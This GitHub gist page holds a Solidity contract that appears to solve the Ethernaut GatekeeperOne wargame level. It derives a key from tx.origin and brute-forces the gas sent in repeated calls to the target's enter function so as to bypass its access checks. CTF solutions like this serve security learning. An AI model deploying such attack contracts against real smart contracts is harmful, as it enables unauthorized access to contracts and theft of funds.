Skip to content

Instantly share code, notes, and snippets.

@hackingbeauty
Last active March 22, 2022 10:51
Show Gist options
  • Save hackingbeauty/81410d738aa35276a27f699b99a44b0b to your computer and use it in GitHub Desktop.
Save hackingbeauty/81410d738aa35276a27f699b99a44b0b to your computer and use it in GitHub Desktop.
GateKeeperOneAttack
pragma solidity ^0.6.6;
import './GateKeeperOne.sol';
import "https://github.com/OpenZeppelin/zeppelin-solidity/contracts/math/SafeMath.sol";
contract GateKeeperOneAttack {
using SafeMath for uint256;
bytes8 key;
GatekeeperOne gateKeeper;
constructor(address _targetAddr) public {
uint16 txOrigin16 = uint16(tx.origin);
key = bytes8(uint64(txOrigin16) + 2 ** 32);
gateKeeper = GatekeeperOne(_targetAddr);
}
function letMeIn() public {
bytes memory encodedParams = abi.encodeWithSignature(("enter(bytes8)"), key);
for (uint256 i = 0; i < 120; i++) {
(bool result, bytes memory data) = address(gateKeeper).call.gas(
i + 150 + 8191 * 3
)(encodedParams);
if(result) { break; }
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment